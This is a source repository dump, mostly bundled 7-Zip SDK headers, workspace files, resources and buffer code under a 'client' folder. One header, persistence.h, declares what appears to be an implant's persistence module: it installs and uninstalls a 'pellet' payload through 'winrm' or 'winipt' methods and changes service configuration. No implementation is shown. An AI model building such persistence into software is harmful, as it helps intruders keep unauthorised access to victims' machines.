"SFXCon"=.\SFXCon.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXWin/SFXWin.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "SFXWin"=.\SFXWin.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BcjCoder.h: -------------------------------------------------------------------------------- 1 | // BcjCoder.h 2 | 3 | #ifndef __COMPRESS_BCJ_CODER_H 4 | #define __COMPRESS_BCJ_CODER_H 5 | 6 | #include "../../../C/Bra.h" 7 | 8 | #include "../../Common/MyCom.h" 9 | 10 | #include "../ICoder.h" 11 | 12 | namespace NCompress { 13 | namespace NBcj { 14 | 15 | class CCoder: 16 | public ICompressFilter, 17 | public CMyUnknownImp 18 | { 19 | UInt32 _bufferPos; 20 | UInt32 _prevMask; 21 | int _encode; 22 | public: 23 | MY_UNKNOWN_IMP1(ICompressFilter); 24 | INTERFACE_ICompressFilter(;) 25 | 26 | CCoder(int encode): _bufferPos(0), _encode(encode) { x86_Convert_Init(_prevMask); } 27 | }; 28 | 29 | }} 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/Console.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "Console"=".\Console.dsp" - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FileFolderPluginOpen.h: -------------------------------------------------------------------------------- 1 | // FileFolderPluginOpen.h 2 | 3 | #ifndef __FILE_FOLDER_PLUGIN_OPEN_H 4 | #define __FILE_FOLDER_PLUGIN_OPEN_H 5 | 6 | #include "../../../Windows/DLL.h" 7 | 8 | struct CFfpOpen 9 | { 10 | CLASS_NO_COPY(CFfpOpen) 11 | public: 12 | // out: 13 | bool Encrypted; 14 | UString Password; 15 | 16 | NWindows::NDLL::CLibrary Library; 17 | CMyComPtr Folder; 18 | UString ErrorMessage; 19 | 20 | CFfpOpen(): Encrypted (false) {} 21 | 22 | HRESULT OpenFileFolderPlugin(IInStream *inStream, 23 | const FString &path, const UString &arcFormat, HWND parentWindow); 24 | }; 25 | 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/LinkDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_LINK 7700 2 | 3 | #define IDB_LINK_LINK 7701 4 | 5 | #define IDT_LINK_PATH_FROM 7702 6 | #define IDT_LINK_PATH_TO 7703 7 | 8 | #define IDG_LINK_TYPE 7710 9 | #define IDR_LINK_TYPE_HARD 7711 10 | #define IDR_LINK_TYPE_SYM_FILE 7712 11 | #define IDR_LINK_TYPE_SYM_DIR 7713 12 | #define IDR_LINK_TYPE_JUNCTION 7714 13 | #define IDR_LINK_TYPE_WSL 7715 14 | 15 | 16 | #define IDC_LINK_PATH_FROM 100 17 | #define IDC_LINK_PATH_TO 101 18 | 19 | #define IDT_LINK_PATH_TO_CUR 102 20 | 21 | #define IDB_LINK_PATH_FROM 103 22 | #define IDB_LINK_PATH_TO 104 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/OverwriteDialogRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_OVERWRITE 3500 2 | #define IDD_OVERWRITE_2 13500 3 | 4 | #define IDT_OVERWRITE_HEADER 3501 5 | #define IDT_OVERWRITE_QUESTION_BEGIN 3502 6 | #define IDT_OVERWRITE_QUESTION_END 3503 7 | #define IDS_FILE_SIZE 3504 8 | 9 | #define IDB_AUTO_RENAME 3505 10 | #define IDB_YES_TO_ALL 440 11 | #define IDB_NO_TO_ALL 441 12 | 13 | #define IDI_OVERWRITE_OLD_FILE 100 14 | #define IDI_OVERWRITE_NEW_FILE 101 15 | 16 | #define IDT_OVERWRITE_OLD_FILE_SIZE_TIME 102 17 | #define IDT_OVERWRITE_NEW_FILE_SIZE_TIME 103 18 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/resourceGui.rc: -------------------------------------------------------------------------------- 1 | #include "resourceGui.h" 2 | 3 | STRINGTABLE 4 | BEGIN 5 | IDS_MESSAGE_NO_ERRORS "There are no errors" 6 | 7 | IDS_PROGRESS_TESTING "Testing" 8 | 9 | IDS_CHECKSUM_CALCULATING "Checksum calculating..." 10 | IDS_CHECKSUM_INFORMATION "Checksum information" 11 | IDS_CHECKSUM_CRC_DATA "CRC checksum for data:" 12 | IDS_CHECKSUM_CRC_DATA_NAMES "CRC checksum for data and names:" 13 | IDS_CHECKSUM_CRC_STREAMS_NAMES "CRC checksum for streams and names:" 14 | 15 | IDS_INCORRECT_VOLUME_SIZE "Incorrect volume size" 16 | 17 | IDS_OPENNING "Opening..." 18 | IDS_SCANNING "Scanning..." 19 | END 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Format7zF/Format7z.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "7z"=.\Format7z.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/LzmaCon/LzmaCon.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "LzmaCon"=.\LzmaCon.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/OffsetStream.h: -------------------------------------------------------------------------------- 1 | // OffsetStream.h 2 | 3 | #ifndef __OFFSET_STREAM_H 4 | #define __OFFSET_STREAM_H 5 | 6 | #include "../../Common/MyCom.h" 7 | 8 | #include "../IStream.h" 9 | 10 | class COffsetOutStream: 11 | public IOutStream, 12 | public CMyUnknownImp 13 | { 14 | UInt64 _offset; 15 | CMyComPtr _stream; 16 | public: 17 | HRESULT Init(IOutStream *stream, UInt64 offset); 18 | 19 | MY_UNKNOWN_IMP 20 | 21 | STDMETHOD(Write)(const void *data, UInt32 size, UInt32 *processedSize); 22 | STDMETHOD(Seek)(Int64 offset, UInt32 seekOrigin, UInt64 *newPosition); 23 | STDMETHOD(SetSize)(UInt64 newSize); 24 | }; 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Client7z/Client7z.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "Client7z"=.\Client7z.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/Explorer.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "Explorer"=".\Explorer.dsp" - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipInstall/7zipInstall.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "7zipInstall"=.\7zipInstall.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/SFXSetup.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "SFXSetup"=.\SFXSetup.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/DeflateRegister.cpp: -------------------------------------------------------------------------------- 1 | // DeflateRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "DeflateDecoder.h" 8 | #if !defined(EXTRACT_ONLY) && !defined(DEFLATE_EXTRACT_ONLY) 9 | #include "DeflateEncoder.h" 10 | #endif 11 | 12 | namespace NCompress { 13 | namespace NDeflate { 14 | 15 | REGISTER_CODEC_CREATE(CreateDec, NDecoder::CCOMCoder) 16 | 17 | #if !defined(EXTRACT_ONLY) && !defined(DEFLATE_EXTRACT_ONLY) 18 | REGISTER_CODEC_CREATE(CreateEnc, NEncoder::CCOMCoder) 19 | #else 20 | #define CreateEnc NULL 21 | #endif 22 | 23 | REGISTER_CODEC_2(Deflate, CreateDec, CreateEnc, 0x40108, "Deflate") 24 | 25 | }} 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crypto/HmacSha256.h: -------------------------------------------------------------------------------- 1 | // HmacSha256.h 2 | // Implements HMAC-SHA-256 (RFC2104, FIPS-198) 3 | 4 | #ifndef __CRYPTO_HMAC_SHA256_H 5 | #define __CRYPTO_HMAC_SHA256_H 6 | 7 | #include "../../../C/Sha256.h" 8 | 9 | namespace NCrypto { 10 | namespace NSha256 { 11 | 12 | const unsigned kBlockSize = SHA256_BLOCK_SIZE; 13 | const unsigned kDigestSize = SHA256_DIGEST_SIZE; 14 | 15 | class CHmac 16 | { 17 | CSha256 _sha; 18 | CSha256 _sha2; 19 | public: 20 | void SetKey(const Byte *key, size_t keySize); 21 | void Update(const Byte *data, size_t dataSize) { Sha256_Update(&_sha, data, dataSize); } 22 | void Final(Byte *mac); 23 | }; 24 | 25 | }} 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EditDialog.h: -------------------------------------------------------------------------------- 1 | // EditDialog.h 2 | 3 | #ifndef __EDIT_DIALOG_H 4 | #define __EDIT_DIALOG_H 5 | 6 | #include "../../../Windows/Control/Dialog.h" 7 | #include "../../../Windows/Control/Edit.h" 8 | 9 | #include "EditDialogRes.h" 10 | 11 | class CEditDialog: public NWindows::NControl::CModalDialog 12 | { 13 | NWindows::NControl::CEdit _edit; 14 | virtual bool OnInit(); 15 | virtual bool OnSize(WPARAM wParam, int xSize, int ySize); 16 | public: 17 | UString Title; 18 | UString Text; 19 | 20 | INT_PTR Create(HWND wndParent = 0) { return CModalDialog::Create(IDD_EDIT_DLG, wndParent); } 21 | 22 | CEditDialog() {} 23 | }; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/DllExports2Compress.cpp: -------------------------------------------------------------------------------- 1 | // DllExports2Compress.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/MyInitGuid.h" 6 | 7 | #include "../ICoder.h" 8 | 9 | #include "../Common/RegisterCodec.h" 10 | 11 | extern "C" 12 | BOOL WINAPI DllMain( 13 | #ifdef UNDER_CE 14 | HANDLE 15 | #else 16 | HINSTANCE 17 | #endif 18 | /* hInstance */, DWORD /* dwReason */, LPVOID /*lpReserved*/) 19 | { 20 | return TRUE; 21 | } 22 | 23 | STDAPI CreateCoder(const GUID *clsid, const GUID *iid, void **outObject); 24 | 25 | STDAPI CreateObject(const GUID *clsid, const GUID *iid, void **outObject) 26 | { 27 | return CreateCoder(clsid, iid, outObject); 28 | } 29 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/7zipUninstall.dsw: -------------------------------------------------------------------------------- 1 | Microsoft Developer Studio Workspace File, Format Version 6.00 2 | # WARNING: DO NOT EDIT OR DELETE THIS WORKSPACE FILE! 3 | 4 | ############################################################################### 5 | 6 | Project: "7zipUninstall"=.\7zipUninstall.dsp - Package Owner=<4> 7 | 8 | Package=<5> 9 | {{{ 10 | }}} 11 | 12 | Package=<4> 13 | {{{ 14 | }}} 15 | 16 | ############################################################################### 17 | 18 | Global: 19 | 20 | Package=<5> 21 | {{{ 22 | }}} 23 | 24 | Package=<3> 25 | {{{ 26 | }}} 27 | 28 | ############################################################################### 29 | 30 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Chm/ChmHandler.h: -------------------------------------------------------------------------------- 1 | // ChmHandler.h 2 | 3 | #ifndef __ARCHIVE_CHM_HANDLER_H 4 | #define __ARCHIVE_CHM_HANDLER_H 5 | 6 | #include "../../../Common/MyCom.h" 7 | 8 | #include "../IArchive.h" 9 | 10 | #include "ChmIn.h" 11 | 12 | namespace NArchive { 13 | namespace NChm { 14 | 15 | class CHandler: 16 | public IInArchive, 17 | public CMyUnknownImp 18 | { 19 | public: 20 | MY_UNKNOWN_IMP1(IInArchive) 21 | 22 | INTERFACE_IInArchive(;) 23 | 24 | bool _help2; 25 | CHandler(bool help2): _help2(help2) {} 26 | 27 | private: 28 | CFilesDatabase m_Database; 29 | CMyComPtr m_Stream; 30 | UInt32 m_ErrorFlags; 31 | }; 32 | 33 | }} 34 | 35 | #endif 36 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Agent/UpdateCallbackAgent.h: -------------------------------------------------------------------------------- 1 | // UpdateCallbackAgent.h 2 | 3 | #ifndef __UPDATE_CALLBACK_AGENT_H 4 | #define __UPDATE_CALLBACK_AGENT_H 5 | 6 | #include "../Common/UpdateCallback.h" 7 | 8 | #include "IFolderArchive.h" 9 | 10 | class CUpdateCallbackAgent: public IUpdateCallbackUI 11 | { 12 | INTERFACE_IUpdateCallbackUI(;) 13 | 14 | CMyComPtr _cryptoGetTextPassword; 15 | CMyComPtr Callback; 16 | CMyComPtr Callback2; 17 | CMyComPtr _compressProgress; 18 | public: 19 | void SetCallback(IFolderArchiveUpdateCallback *callback); 20 | }; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/WorkDir.h: -------------------------------------------------------------------------------- 1 | // WorkDir.h 2 | 3 | #ifndef __WORK_DIR_H 4 | #define __WORK_DIR_H 5 | 6 | #include "../../../Windows/FileDir.h" 7 | 8 | #include "../../Common/FileStreams.h" 9 | 10 | #include "ZipRegistry.h" 11 | 12 | FString GetWorkDir(const NWorkDir::CInfo &workDirInfo, const FString &path, FString &fileName); 13 | 14 | class CWorkDirTempFile 15 | { 16 | FString _originalPath; 17 | NWindows::NFile::NDir::CTempFile _tempFile; 18 | COutFileStream *_outStreamSpec; 19 | public: 20 | CMyComPtr OutStream; 21 | 22 | HRESULT CreateTempFile(const FString &originalPath); 23 | HRESULT MoveToOriginal(bool deleteOriginal); 24 | }; 25 | 26 | #endif 27 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7z/makefile.gcc: -------------------------------------------------------------------------------- 1 | PROG = 7zdec 2 | 3 | LOCAL_FLAGS = -D_7ZIP_PPMD_SUPPPORT 4 | 5 | include ../../../CPP/7zip/LzmaDec_gcc.mak 6 | 7 | 8 | OBJS = \ 9 | $(LZMA_DEC_OPT_OBJS) \ 10 | $O/Bcj2.o \ 11 | $O/Bra.o \ 12 | $O/Bra86.o \ 13 | $O/BraIA64.o \ 14 | $O/CpuArch.o \ 15 | $O/Delta.o \ 16 | $O/Lzma2Dec.o \ 17 | $O/LzmaDec.o \ 18 | $O/Ppmd7.o \ 19 | $O/Ppmd7Dec.o \ 20 | $O/7zCrc.o \ 21 | $O/7zCrcOpt.o \ 22 | $O/Sha256.o \ 23 | $O/Sha256Opt.o \ 24 | $O/7zAlloc.o \ 25 | $O/7zArcIn.o \ 26 | $O/7zBuf.o \ 27 | $O/7zBuf2.o \ 28 | $O/7zDec.o \ 29 | $O/7zMain.o \ 30 | $O/7zFile.o \ 31 | $O/7zStream.o \ 32 | 33 | 34 | include ../../7zip_gcc_c.mak 35 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Iso/IsoHandler.h: -------------------------------------------------------------------------------- 1 | // IsoHandler.h 2 | 3 | #ifndef __ISO_HANDLER_H 4 | #define __ISO_HANDLER_H 5 | 6 | #include "../../../Common/MyCom.h" 7 | 8 | #include "../IArchive.h" 9 | 10 | #include "IsoIn.h" 11 | #include "IsoItem.h" 12 | 13 | namespace NArchive { 14 | namespace NIso { 15 | 16 | class CHandler: 17 | public IInArchive, 18 | public IInArchiveGetStream, 19 | public CMyUnknownImp 20 | { 21 | CMyComPtr _stream; 22 | CInArchive _archive; 23 | public: 24 | MY_UNKNOWN_IMP2(IInArchive, IInArchiveGetStream) 25 | INTERFACE_IInArchive(;) 26 | STDMETHOD(GetStream)(UInt32 index, ISequentialInStream **stream); 27 | }; 28 | 29 | }} 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/resource2.rc: -------------------------------------------------------------------------------- 1 | #include "resource.h" 2 | 3 | STRINGTABLE 4 | BEGIN 5 | IDS_CONTEXT_FOLDER "" 6 | IDS_CONTEXT_ARCHIVE "" 7 | IDS_CONTEXT_OPEN "Open archive" 8 | IDS_CONTEXT_EXTRACT "Extract files..." 9 | IDS_CONTEXT_COMPRESS "Add to archive..." 10 | IDS_CONTEXT_TEST "Test archive" 11 | IDS_CONTEXT_EXTRACT_HERE "Extract Here" 12 | IDS_CONTEXT_EXTRACT_TO "Extract to {0}" 13 | IDS_CONTEXT_COMPRESS_TO "Add to {0}" 14 | IDS_CONTEXT_COMPRESS_EMAIL "Compress and email..." 15 | IDS_CONTEXT_COMPRESS_TO_EMAIL "Compress to {0} and email" 16 | END 17 | 18 | IDB_MENU_LOGO BITMAP "../../UI/Explorer/MenuLogo.bmp" 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/RootFolder.h: -------------------------------------------------------------------------------- 1 | // RootFolder.h 2 | 3 | #ifndef __ROOT_FOLDER_H 4 | #define __ROOT_FOLDER_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | #include "IFolder.h" 9 | 10 | const unsigned kNumRootFolderItems_Max = 4; 11 | 12 | class CRootFolder: 13 | public IFolderFolder, 14 | public IFolderGetSystemIconIndex, 15 | public CMyUnknownImp 16 | { 17 | UString _names[kNumRootFolderItems_Max]; 18 | int _iconIndices[kNumRootFolderItems_Max]; 19 | 20 | public: 21 | MY_UNKNOWN_IMP1(IFolderGetSystemIconIndex) 22 | INTERFACE_FolderFolder(;) 23 | STDMETHOD(GetSystemIconIndex)(UInt32 index, Int32 *iconIndex); 24 | void Init(); 25 | }; 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/Deflate64Register.cpp: -------------------------------------------------------------------------------- 1 | // Deflate64Register.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "DeflateDecoder.h" 8 | 9 | #if !defined(EXTRACT_ONLY) && !defined(DEFLATE_EXTRACT_ONLY) 10 | #include "DeflateEncoder.h" 11 | #endif 12 | 13 | namespace NCompress { 14 | namespace NDeflate { 15 | 16 | REGISTER_CODEC_CREATE(CreateDec, NDecoder::CCOMCoder64()) 17 | 18 | #if !defined(EXTRACT_ONLY) && !defined(DEFLATE_EXTRACT_ONLY) 19 | REGISTER_CODEC_CREATE(CreateEnc, NEncoder::CCOMCoder64()) 20 | #else 21 | #define CreateEnc NULL 22 | #endif 23 | 24 | REGISTER_CODEC_2(Deflate64, CreateDec, CreateEnc, 0x40109, "Deflate64") 25 | 26 | }} 27 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/LangPage.h: -------------------------------------------------------------------------------- 1 | // LangPage.h 2 | 3 | #ifndef __LANG_PAGE_H 4 | #define __LANG_PAGE_H 5 | 6 | #include "../../../Windows/Control/PropertyPage.h" 7 | #include "../../../Windows/Control/ComboBox.h" 8 | 9 | class CLangPage: public NWindows::NControl::CPropertyPage 10 | { 11 | NWindows::NControl::CComboBox _langCombo; 12 | UStringVector _paths; 13 | 14 | bool _needSave; 15 | public: 16 | bool LangWasChanged; 17 | 18 | CLangPage(): _needSave(false), LangWasChanged(false) {} 19 | virtual bool OnInit(); 20 | virtual void OnNotifyHelp(); 21 | virtual bool OnCommand(int code, int itemID, LPARAM param); 22 | virtual LONG OnApply(); 23 | }; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/7zBuf.c: -------------------------------------------------------------------------------- 1 | /* 7zBuf.c -- Byte Buffer 2 | 2017-04-03 : Igor Pavlov : Public domain */ 3 | 4 | #include "Precomp.h" 5 | 6 | #include "7zBuf.h" 7 | 8 | void Buf_Init(CBuf *p) 9 | { 10 | p->data = 0; 11 | p->size = 0; 12 | } 13 | 14 | int Buf_Create(CBuf *p, size_t size, ISzAllocPtr alloc) 15 | { 16 | p->size = 0; 17 | if (size == 0) 18 | { 19 | p->data = 0; 20 | return 1; 21 | } 22 | p->data = (Byte *)ISzAlloc_Alloc(alloc, size); 23 | if (p->data) 24 | { 25 | p->size = size; 26 | return 1; 27 | } 28 | return 0; 29 | } 30 | 31 | void Buf_Free(CBuf *p, ISzAllocPtr alloc) 32 | { 33 | ISzAlloc_Free(alloc, p->data); 34 | p->data = 0; 35 | p->size = 0; 36 | } 37 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Common/VirtThread.h: -------------------------------------------------------------------------------- 1 | // VirtThread.h 2 | 3 | #ifndef __VIRT_THREAD_H 4 | #define __VIRT_THREAD_H 5 | 6 | #include "../../Windows/Synchronization.h" 7 | #include "../../Windows/Thread.h" 8 | 9 | struct CVirtThread 10 | { 11 | NWindows::NSynchronization::CAutoResetEvent StartEvent; 12 | NWindows::NSynchronization::CAutoResetEvent FinishedEvent; 13 | NWindows::CThread Thread; 14 | bool Exit; 15 | 16 | ~CVirtThread() { WaitThreadFinish(); } 17 | void WaitThreadFinish(); // call it in destructor of child class ! 18 | WRes Create(); 19 | WRes Start(); 20 | virtual void Execute() = 0; 21 | WRes WaitExecuteFinish() { return FinishedEvent.Lock(); } 22 | }; 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/SettingsPageRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_SETTINGS 2500 2 | #define IDD_SETTINGS_2 12500 3 | 4 | #define IDX_SETTINGS_SHOW_DOTS 2501 5 | #define IDX_SETTINGS_SHOW_REAL_FILE_ICONS 2502 6 | #define IDX_SETTINGS_SHOW_SYSTEM_MENU 2503 7 | #define IDX_SETTINGS_FULL_ROW 2504 8 | #define IDX_SETTINGS_SHOW_GRID 2505 9 | #define IDX_SETTINGS_SINGLE_CLICK 2506 10 | #define IDX_SETTINGS_ALTERNATIVE_SELECTION 2507 11 | #define IDX_SETTINGS_LARGE_PAGES 2508 12 | 13 | 14 | // #define IDT_SETTINGS_MEM 100 15 | // #define IDC_SETTINGS_MEM 101 16 | // #define IDT_SETTINGS_MEM_RAM 102 17 | // #define IDT_COMPRESS_MEMORY 4017 18 | -------------------------------------------------------------------------------- /client/persistence/persistence.h: -------------------------------------------------------------------------------- 1 | #include "pellet/pellet_lib.h" 2 | 3 | 4 | typedef enum persist_ec { 5 | persist_failed_change_server = -35 6 | }; 7 | typedef struct pellet_dirs { 8 | char* pellet_write_loc; 9 | char* bin_write_loc; 10 | }pellet_dirs, * Ppellet_dirs; 11 | typedef enum persis_operation { 12 | no_operation = 0, 13 | install = 1, 14 | uninstall = 2 15 | }; 16 | typedef enum persis_method { 17 | persist_no_method = 0, 18 | winrm = 1, 19 | winipt = 2 20 | }; 21 | enum persis_operation select_operation(char* method); 22 | enum persis_method select_methods(char* method); 23 | Ppellet_dirs get_persist_locations(enum persis_method methods); 24 | void free_persist_locations(Ppellet_dirs pdirs); 25 | BOOL change_service_config(); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/7zSpecStream.cpp: -------------------------------------------------------------------------------- 1 | // 7zSpecStream.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "7zSpecStream.h" 6 | 7 | STDMETHODIMP CSequentialInStreamSizeCount2::Read(void *data, UInt32 size, UInt32 *processedSize) 8 | { 9 | UInt32 realProcessedSize; 10 | HRESULT result = _stream->Read(data, size, &realProcessedSize); 11 | _size += realProcessedSize; 12 | if (processedSize) 13 | *processedSize = realProcessedSize; 14 | return result; 15 | } 16 | 17 | STDMETHODIMP CSequentialInStreamSizeCount2::GetSubStreamSize(UInt64 subStream, UInt64 *value) 18 | { 19 | if (!_getSubStreamSize) 20 | return E_NOTIMPL; 21 | return _getSubStreamSize->GetSubStreamSize(subStream, value); 22 | } 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FormatUtils.cpp: -------------------------------------------------------------------------------- 1 | // FormatUtils.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include 